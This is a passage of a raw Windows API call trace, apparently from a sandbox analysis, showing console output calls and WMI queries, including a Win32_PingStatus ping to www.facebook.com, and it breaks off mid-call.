TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb30, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb30) returned 0 [0137.098] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572ec1c | out: lpConsoleScreenBufferInfo=0x572ec1c) returned 1 [0137.098] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec14 | out: lpMode=0x572ec14) returned 1 [0137.098] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228f248*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x572ec08, lpReserved=0x0 | out: lpBuffer=0x228f248*, lpNumberOfCharsWritten=0x572ec08*=0x4f) returned 1 [0137.099] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec14 | out: lpMode=0x572ec14) returned 1 [0137.099] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228e4d4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x572ec08, lpReserved=0x0 | out: lpBuffer=0x228e4d4*, lpNumberOfCharsWritten=0x572ec08*=0x2) returned 1 [0137.099] GetConsoleOutputCP () returned 0x1b5 [0137.099] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebf0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebf0) returned 0 [0137.099] GetConsoleOutputCP () returned 0x1b5 [0137.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebf0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebf0) returned 0 [0137.100] GetConsoleOutputCP () returned 0x1b5 [0137.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebf0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebf0) returned 0 [0137.100] GetConsoleOutputCP () returned 0x1b5 [0137.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebf0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebf0) returned 0 [0137.100] GetConsoleOutputCP () returned 0x1b5 [0137.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb80, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb80) returned 0 [0137.100] GetConsoleOutputCP () returned 0x1b5 [0137.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb80, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb80) returned 0 [0137.100] GetConsoleOutputCP () returned 0x1b5 [0137.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb80, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb80) returned 0 [0137.100] GetConsoleOutputCP () returned 0x1b5 [0137.101] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb80, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb80) returned 0 [0137.101] GetConsoleOutputCP () returned 0x1b5 [0137.101] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb80, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb80) returned 0 [0137.101] GetConsoleOutputCP () returned 0x1b5 [0137.101] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb80, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb80) returned 0 [0137.101] GetConsoleOutputCP () returned 0x1b5 [0137.101] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb80, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb80) returned 0 [0137.101] GetConsoleOutputCP () returned 0x1b5 [0137.101] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb80, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb80) returned 0 [0137.101] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572ec1c | out: lpConsoleScreenBufferInfo=0x572ec1c) returned 1 [0137.102] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec14 | out: lpMode=0x572ec14) returned 1 [0137.102] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228f6ec*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x572ec08, lpReserved=0x0 | out: lpBuffer=0x228f6ec*, lpNumberOfCharsWritten=0x572ec08*=0x4f) returned 1 [0137.102] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec14 | out: lpMode=0x572ec14) returned 1 [0137.102] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228e4d4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x572ec08, lpReserved=0x0 | out: lpBuffer=0x228e4d4*, lpNumberOfCharsWritten=0x572ec08*=0x2) returned 1 [0137.103] GetConsoleOutputCP () returned 0x1b5 [0137.103] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0137.103] GetConsoleOutputCP () returned 0x1b5 [0137.103] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0137.103] GetConsoleOutputCP () returned 0x1b5 [0137.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0137.104] GetConsoleOutputCP () returned 0x1b5 [0137.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.104] GetConsoleOutputCP () returned 0x1b5 [0137.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.104] GetConsoleOutputCP () returned 0x1b5 [0137.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.104] GetConsoleOutputCP () returned 0x1b5 [0137.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.105] GetConsoleOutputCP () returned 0x1b5 [0137.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.105] GetConsoleOutputCP () returned 0x1b5 [0137.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.105] GetConsoleOutputCP () returned 0x1b5 [0137.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.105] GetConsoleOutputCP () returned 0x1b5 [0137.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.105] GetConsoleOutputCP () returned 0x1b5 [0137.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.106] GetConsoleOutputCP () returned 0x1b5 [0137.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.106] GetConsoleOutputCP () returned 0x1b5 [0137.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.106] GetConsoleOutputCP () returned 0x1b5 [0137.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0137.106] GetConsoleOutputCP () returned 0x1b5 [0137.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0137.106] GetConsoleOutputCP () returned 0x1b5 [0137.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0137.107] GetConsoleOutputCP () returned 0x1b5 [0137.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0137.107] GetConsoleOutputCP () returned 0x1b5 [0137.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0137.107] GetConsoleOutputCP () returned 0x1b5 [0137.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0137.107] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572ec50 | out: lpConsoleScreenBufferInfo=0x572ec50) returned 1 [0137.107] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec48 | out: lpMode=0x572ec48) returned 1 [0137.108] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228fb74*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x572ec3c, lpReserved=0x0 | out: lpBuffer=0x228fb74*, lpNumberOfCharsWritten=0x572ec3c*=0x4f) returned 1 [0137.108] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec48 | out: lpMode=0x572ec48) returned 1 [0137.108] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228e4d4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x572ec3c, lpReserved=0x0 | out: lpBuffer=0x228e4d4*, lpNumberOfCharsWritten=0x572ec3c*=0x2) returned 1 [0137.109] CoGetContextToken (in: pToken=0x572ee4c | out: pToken=0x572ee4c) returned 0x0 [0137.109] IEnumWbemClassObject:Clone (in: This=0x353660, ppEnum=0x572f004 | out: ppEnum=0x572f004*=0x353278) returned 0x0 [0137.117] IUnknown:QueryInterface (in: This=0x353278, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eec0 | out: ppvObject=0x572eec0*=0x35327c) returned 0x0 [0137.117] IClientSecurity:QueryBlanket (in: This=0x35327c, pProxy=0x353278, pAuthnSvc=0x572ef10, pAuthzSvc=0x572ef0c, pServerPrincName=0x572ef04, pAuthnLevel=0x572ef08, pImpLevel=0x572eef8, pAuthInfo=0x572eefc, pCapabilites=0x572ef00 | out: pAuthnSvc=0x572ef10*=0xa, pAuthzSvc=0x572ef0c*=0x0, pServerPrincName=0x572ef04, pAuthnLevel=0x572ef08*=0x6, pImpLevel=0x572eef8*=0x2, pAuthInfo=0x572eefc, pCapabilites=0x572ef00*=0x1) returned 0x0 [0137.118] IUnknown:Release (This=0x35327c) returned 0x1 [0137.118] IUnknown:QueryInterface (in: This=0x353278, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eeb4 | out: ppvObject=0x572eeb4*=0x3b4044) returned 0x0 [0137.118] IUnknown:QueryInterface (in: This=0x353278, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eea0 | out: ppvObject=0x572eea0*=0x35327c) returned 0x0 [0137.118] IClientSecurity:SetBlanket (This=0x35327c, pProxy=0x353278, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0137.138] IUnknown:Release (This=0x35327c) returned 0x2 [0137.138] WbemLocator:IUnknown:Release (This=0x3b4044) returned 0x1 [0137.138] CoTaskMemFree (pv=0x5c78dd8) [0137.138] IUnknown:AddRef (This=0x353278) returned 0x2 [0137.139] CoGetContextToken (in: pToken=0x572e3d0 | out: pToken=0x572e3d0) returned 0x0 [0137.139] CoGetContextToken (in: pToken=0x572e7e4 | out: pToken=0x572e7e4) returned 0x0 [0137.139] IUnknown:QueryInterface (in: This=0x353278, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e77c | out: ppvObject=0x572e77c*=0x3b402c) returned 0x0 [0137.139] WbemLocator:IRpcOptions:Query (in: This=0x3b402c, pPrx=0x5c4d6b0, dwProperty=2, pdwValue=0x572e870 | out: pdwValue=0x572e870) returned 0x80004002 [0137.139] WbemLocator:IUnknown:Release (This=0x3b402c) returned 0x2 [0137.139] CoGetContextToken (in: pToken=0x572edb4 | out: pToken=0x572edb4) returned 0x0 [0137.139] CoGetContextToken (in: pToken=0x572ed14 | out: pToken=0x572ed14) returned 0x0 [0137.139] IUnknown:QueryInterface (in: This=0x353278, riid=0x572ede4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572ecb0 | out: ppvObject=0x572ecb0*=0x353278) returned 0x0 [0137.140] IUnknown:Release (This=0x353278) returned 0x2 [0137.140] SysStringLen (param_1=0x0) returned 0x0 [0137.140] IEnumWbemClassObject:Reset (This=0x353278) returned 0x0 [0137.153] CoTaskMemAlloc (cb=0x4) returned 0x5c68838 [0137.153] IEnumWbemClassObject:Next (in: This=0x353278, lTimeout=-1, uCount=0x1, apObjects=0x5c68838, puReturned=0x228fcc0 | out: apObjects=0x5c68838*=0x3b08c8, puReturned=0x228fcc0*=0x1) returned 0x0 [0137.164] IUnknown:QueryInterface (in: This=0x3b08c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e65c | out: ppvObject=0x572e65c*=0x3b08c8) returned 0x0 [0137.165] IUnknown:QueryInterface (in: This=0x3b08c8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e610 | out: ppvObject=0x572e610*=0x0) returned 0x80004002 [0137.165] IUnknown:QueryInterface (in: This=0x3b08c8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e438 | out: ppvObject=0x572e438*=0x0) returned 0x80004002 [0137.165] IUnknown:AddRef (This=0x3b08c8) returned 0x3 [0137.165] IUnknown:QueryInterface (in: This=0x3b08c8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572df6c | out: ppvObject=0x572df6c*=0x0) returned 0x80004002 [0137.165] IUnknown:QueryInterface (in: This=0x3b08c8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572df1c | out: ppvObject=0x572df1c*=0x0) returned 0x80004002 [0137.165] IUnknown:QueryInterface (in: This=0x3b08c8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572df28 | out: ppvObject=0x572df28*=0x3b08cc) returned 0x0 [0137.165] IMarshal:GetUnmarshalClass (in: This=0x3b08cc, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x572df30 | out: pCid=0x572df30*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0137.165] IUnknown:Release (This=0x3b08cc) returned 0x3 [0137.165] CoGetContextToken (in: pToken=0x572df88 | out: pToken=0x572df88) returned 0x0 [0137.165] CoGetContextToken (in: pToken=0x572e39c | out: pToken=0x572e39c) returned 0x0 [0137.165] IUnknown:QueryInterface (in: This=0x3b08c8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e41c | out: ppvObject=0x572e41c*=0x0) returned 0x80004002 [0137.166] IUnknown:Release (This=0x3b08c8) returned 0x2 [0137.166] CoGetContextToken (in: pToken=0x572e984 | out: pToken=0x572e984) returned 0x0 [0137.166] CoGetContextToken (in: pToken=0x572e8e4 | out: pToken=0x572e8e4) returned 0x0 [0137.166] IUnknown:QueryInterface (in: This=0x3b08c8, riid=0x572e9b4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x572e9b0 | out: ppvObject=0x572e9b0*=0x3b08c8) returned 0x0 [0137.166] IUnknown:AddRef (This=0x3b08c8) returned 0x4 [0137.166] IUnknown:Release (This=0x3b08c8) returned 0x3 [0137.166] IUnknown:Release (This=0x3b08c8) returned 0x2 [0137.166] CoTaskMemFree (pv=0x5c68838) [0137.166] CoGetContextToken (in: pToken=0x572ecf4 | out: pToken=0x572ecf4) returned 0x0 [0137.166] IUnknown:AddRef (This=0x3b08c8) returned 0x3 [0137.167] CoTaskMemAlloc (cb=0x4) returned 0x5c68838 [0137.167] IEnumWbemClassObject:Next (in: This=0x353278, lTimeout=-1, uCount=0x1, apObjects=0x5c68838, puReturned=0x228fcc0 | out: apObjects=0x5c68838*=0x0, puReturned=0x228fcc0*=0x0) returned 0x1 [0137.183] CoTaskMemFree (pv=0x5c68838) [0138.191] CoTaskMemAlloc (cb=0x4) returned 0x5c68838 [0138.191] IEnumWbemClassObject:Next (in: This=0x353728, lTimeout=-1, uCount=0x1, apObjects=0x5c68838, puReturned=0x20b5d54 | out: apObjects=0x5c68838*=0x0, puReturned=0x20b5d54*=0x0) returned 0x1 [0138.194] CoTaskMemFree (pv=0x5c68838) [0138.195] CoGetContextToken (in: pToken=0x572ef38 | out: pToken=0x572ef38) returned 0x0 [0138.195] IUnknown:Release (This=0x353728) returned 0x1 [0138.195] IUnknown:Release (This=0x353728) returned 0x0 [0138.199] CoGetContextToken (in: pToken=0x572ef38 | out: pToken=0x572ef38) returned 0x0 [0138.199] IUnknown:Release (This=0x353660) returned 0x1 [0138.199] IUnknown:Release (This=0x353660) returned 0x0 [0138.232] CoGetContextToken (in: pToken=0x572ed24 | out: pToken=0x572ed24) returned 0x0 [0138.232] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0138.232] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0138.233] CoUnmarshalInterface (in: pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572ec78 | out: ppv=0x572ec78*=0x3b3c84) returned 0x0 [0138.233] CoMarshalInterface (pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x3b3c84, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0138.233] WbemLocator:IUnknown:QueryInterface (in: This=0x3b3c84, riid=0x572ed54*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x572ed50 | out: ppvObject=0x572ed50*=0x5c614e8) returned 0x0 [0138.233] WbemLocator:IUnknown:Release (This=0x3b3c84) returned 0x1 [0138.233] IWbemServices:ExecQuery (in: This=0x5c614e8, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.facebook.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x572efbc | out: ppEnum=0x572efbc*=0x353660) returned 0x0 [0138.272] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed84 | out: ppvObject=0x572ed84*=0x353664) returned 0x0 [0138.272] IClientSecurity:QueryBlanket (in: This=0x353664, pProxy=0x353660, pAuthnSvc=0x572edd4, pAuthzSvc=0x572edd0, pServerPrincName=0x572edc8, pAuthnLevel=0x572edcc, pImpLevel=0x572edbc, pAuthInfo=0x572edc0, pCapabilites=0x572edc4 | out: pAuthnSvc=0x572edd4*=0xa, pAuthzSvc=0x572edd0*=0x0, pServerPrincName=0x572edc8, pAuthnLevel=0x572edcc*=0x6, pImpLevel=0x572edbc*=0x2, pAuthInfo=0x572edc0, pCapabilites=0x572edc4*=0x1) returned 0x0 [0138.272] IUnknown:Release (This=0x353664) returned 0x1 [0138.272] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed78 | out: ppvObject=0x572ed78*=0x3b3d74) returned 0x0 [0138.272] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed64 | out: ppvObject=0x572ed64*=0x353664) returned 0x0 [0138.273] IClientSecurity:SetBlanket (This=0x353664, pProxy=0x353660, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0138.359] IUnknown:Release (This=0x353664) returned 0x2 [0138.359] WbemLocator:IUnknown:Release (This=0x3b3d74) returned 0x1 [0138.359] CoTaskMemFree (pv=0x5c5dcd0) [0138.359] IUnknown:AddRef (This=0x353660) returned 0x2 [0138.360] CoGetContextToken (in: pToken=0x572e2a4 | out: pToken=0x572e2a4) returned 0x0 [0138.360] CoGetContextToken (in: pToken=0x572e6b4 | out: pToken=0x572e6b4) returned 0x0 [0138.360] IUnknown:QueryInterface (in: This=0x353660, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e650 | out: ppvObject=0x572e650*=0x3b3d5c) returned 0x0 [0138.360] WbemLocator:IRpcOptions:Query (in: This=0x3b3d5c, pPrx=0x5c59468, dwProperty=2, pdwValue=0x572e744 | out: pdwValue=0x572e744) returned 0x80004002 [0138.360] WbemLocator:IUnknown:Release (This=0x3b3d5c) returned 0x2 [0138.361] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0138.361] CoGetContextToken (in: pToken=0x572ebe4 | out: pToken=0x572ebe4) returned 0x0 [0138.361] IUnknown:QueryInterface (in: This=0x353660, riid=0x572ecb4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572eb80 | out: ppvObject=0x572eb80*=0x353660) returned 0x0 [0138.361] IUnknown:Release (This=0x353660) returned 0x2 [0138.361] WbemLocator:IUnknown:Release (This=0x5c614e8) returned 0x0 [0138.361] SysStringLen (param_1=0x0) returned 0x0 [0138.361] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f008 | out: puCount=0x572f008*=0x2) returned 0x0 [0138.361] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f004*=0x0, pszText=0x0 | out: puBuffLength=0x572f004*=0xf, pszText=0x0) returned 0x0 [0138.361] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f004*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f004*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.361] CoGetContextToken (in: pToken=0x572ee5c | out: pToken=0x572ee5c) returned 0x0 [0138.362] IEnumWbemClassObject:Clone (in: This=0x353660, ppEnum=0x572f014 | out: ppEnum=0x572f014*=0x353728) returned 0x0 [0138.380] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eed0 | out: ppvObject=0x572eed0*=0x35372c) returned 0x0 [0138.380] IClientSecurity:QueryBlanket (in: This=0x35372c, pProxy=0x353728, pAuthnSvc=0x572ef20, pAuthzSvc=0x572ef1c, pServerPrincName=0x572ef14, pAuthnLevel=0x572ef18, pImpLevel=0x572ef08, pAuthInfo=0x572ef0c, pCapabilites=0x572ef10 | out: pAuthnSvc=0x572ef20*=0xa, pAuthzSvc=0x572ef1c*=0x0, pServerPrincName=0x572ef14, pAuthnLevel=0x572ef18*=0x6, pImpLevel=0x572ef08*=0x2, pAuthInfo=0x572ef0c, pCapabilites=0x572ef10*=0x1) returned 0x0 [0138.380] IUnknown:Release (This=0x35372c) returned 0x1 [0138.380] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eec4 | out: ppvObject=0x572eec4*=0x3b3c84) returned 0x0 [0138.380] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eeb0 | out: ppvObject=0x572eeb0*=0x35372c) returned 0x0 [0138.380] IClientSecurity:SetBlanket (This=0x35372c, pProxy=0x353728, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0138.459] IUnknown:Release (This=0x35372c) returned 0x2 [0138.459] WbemLocator:IUnknown:Release (This=0x3b3c84) returned 0x1 [0138.459] CoTaskMemFree (pv=0x5c5ddc0) [0138.459] IUnknown:AddRef (This=0x353728) returned 0x2 [0138.459] CoGetContextToken (in: pToken=0x572e3e0 | out: pToken=0x572e3e0) returned 0x0 [0138.459] CoGetContextToken (in: pToken=0x572e7f4 | out: pToken=0x572e7f4) returned 0x0 [0138.459] IUnknown:QueryInterface (in: This=0x353728, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e78c | out: ppvObject=0x572e78c*=0x3b3c6c) returned 0x0 [0138.459] WbemLocator:IRpcOptions:Query (in: This=0x3b3c6c, 